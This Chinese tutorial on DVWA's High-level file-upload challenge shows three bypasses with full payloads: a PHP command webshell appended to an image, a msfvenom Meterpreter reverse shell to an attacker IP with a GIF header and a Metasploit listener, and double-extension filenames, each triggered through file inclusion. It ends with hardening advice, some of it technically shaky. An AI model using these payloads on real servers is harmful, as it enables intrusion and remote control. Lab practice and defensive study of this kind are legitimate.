DVWA1.9 High级文件上传漏洞实战:3种绕过技巧与详细复现步骤
DVWA1.9 High级文件上传漏洞实战:3种绕过技巧与详细复现步骤
在网络安全领域,文件上传漏洞一直是渗透测试中的重点研究对象。DVWA(Damn Vulnerable Web Application)作为一款专为安全测试设计的靶场环境,其High级别的文件上传漏洞防护机制尤为值得深入探讨。本文将分享三种针对DVWA1.9 High级别文件上传漏洞的实战绕过技巧,每种方法都配有详细的复现步骤和原理分析。
1. 理解High级文件上传防护机制
DVWA1.9 High级别的文件上传模块采用了双重验证机制:
- 后缀名验证:仅接受
.jpg、.jpeg、.png三种图片格式 - 文件头检测:通过
getimagesize()函数验证文件内容是否为有效图片
这种组合防护看似严密,但仍存在可被利用的漏洞点。以下是常见的验证逻辑缺陷:
// 模拟High级验证逻辑 $allowed_extensions = ['jpg', 'jpeg', 'png']; $file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($file_extension, $allowed_extensions)) { die("只允许上传JPG/PNG图片"); } $image_info = getimagesize($_FILES['file']['tmp_name']); if($image_info === false) { die("上传的不是有效图片"); }2. 图片木马合并绕过技术
2.1 原理分析
这种方法利用图片文件可以包含额外数据而不影响正常显示的特性,将PHP木马代码附加到合法图片文件末尾。
技术要点:
- 图片文件格式允许尾部附加数据
- 服务器仅验证文件头,不检查文件尾部内容
- 需要配合其他漏洞实现代码执行
2.2 详细操作步骤
准备素材文件:
- 合法图片文件:
example.png - PHP木马文件:
shell.php(内容:<?php system($_GET['cmd']);?>)
- 合法图片文件:
合并文件(Windows系统):
copy /b example.png + shell.php merged.png上传合并后的文件:
- 通过DVWA文件上传页面提交
merged.png - 系统会成功接受该文件
- 通过DVWA文件上传页面提交
利用文件包含漏洞执行代码: 由于直接访问
.png文件不会执行PHP代码,需要配合DVWA的Low级文件包含漏洞:http://靶场地址/vulnerabilities/fi/?page=../../hackable/uploads/merged.png&cmd=whoami
注意:此方法需要服务器同时存在文件包含漏洞才能最终实现代码执行
3. 带GIF89a头部的PHP图片木马
3.1 技术原理
通过构造特殊的文件内容,使文件同时满足:
- 文件头部包含有效的图片标识(如GIF89a)
- 文件主体包含可执行的PHP代码
3.2 使用msfvenom生成特制木马
- 生成基础PHP反向shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -f raw > shell.php- 添加GIF头部:
echo 'GIF89a;' | cat - shell.php > shell.gif文件上传:
- 将
shell.gif上传到DVWA - 由于文件头部包含GIF标识,会通过
getimagesize()验证
- 将
建立监听:
msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 攻击者IP set LPORT 4444 exploit- 触发执行: 通过文件包含漏洞访问上传的文件:
http://靶场地址/vulnerabilities/fi/?page=../../hackable/uploads/shell.gif
3.3 技术细节对比
| 方法特性 | 图片合并法 | GIF头部注入法 |
|---|---|---|
| 文件大小 | 较大(原图+木马) | 较小(仅添加头部) |
| 隐蔽性 | 较高 | 中等 |
| 依赖其他漏洞 | 需要文件包含 | 需要文件包含 |
| 适用场景 | 已有合法图片 | 需生成新文件 |
4. 文件扩展名双重欺骗技术
4.1 技术原理
利用解析差异构造特殊文件名,如:
shell.php.jpgshell.php%00.jpgshell.php\x00.jpg
在DVWA1.9 High级别中,最有效的方式是结合Apache的解析特性。
4.2 具体实施步骤
创建测试文件:
<?php // 文件名:test.php.jpg phpinfo(); ?>上传文件:
- 通过DVWA上传界面提交
test.php.jpg - 系统会接受该文件
- 通过DVWA上传界面提交
利用解析差异: 某些Apache配置会从左向右解析扩展名,执行顺序为:
.php → .jpg → 最终执行.php逻辑直接访问:
http://靶场地址/hackable/uploads/test.php.jpg
提示:这种方法成功率取决于服务器配置,在默认DVWA环境中可能需要配合.htaccess文件使用
5. 防御建议与安全加固
针对本文介绍的绕过技术,提供以下防护方案:
文件内容验证:
- 使用
exif_imagetype()代替getimagesize() - 检查文件幻数(Magic Number)
- 使用
文件重命名策略:
$new_filename = md5(uniqid()).'.'.$valid_extension;隔离存储:
- 将上传文件存放在非Web目录
- 通过脚本代理访问上传文件
权限控制:
chmod -R 644 uploads/ chown -R www-data:www-data uploads/Web服务器配置:
<FilesMatch "\.(php|phar|phtml)$"> Deny from all </FilesMatch>
在实际渗透测试过程中,发现最有效的防御是组合多种验证方式。某次企业级测试中,我们遇到一个系统采用了三重验证机制:文件扩展名白名单、内容类型检查和二次渲染处理,这种深度防御方案成功阻断了所有常规绕过尝试。
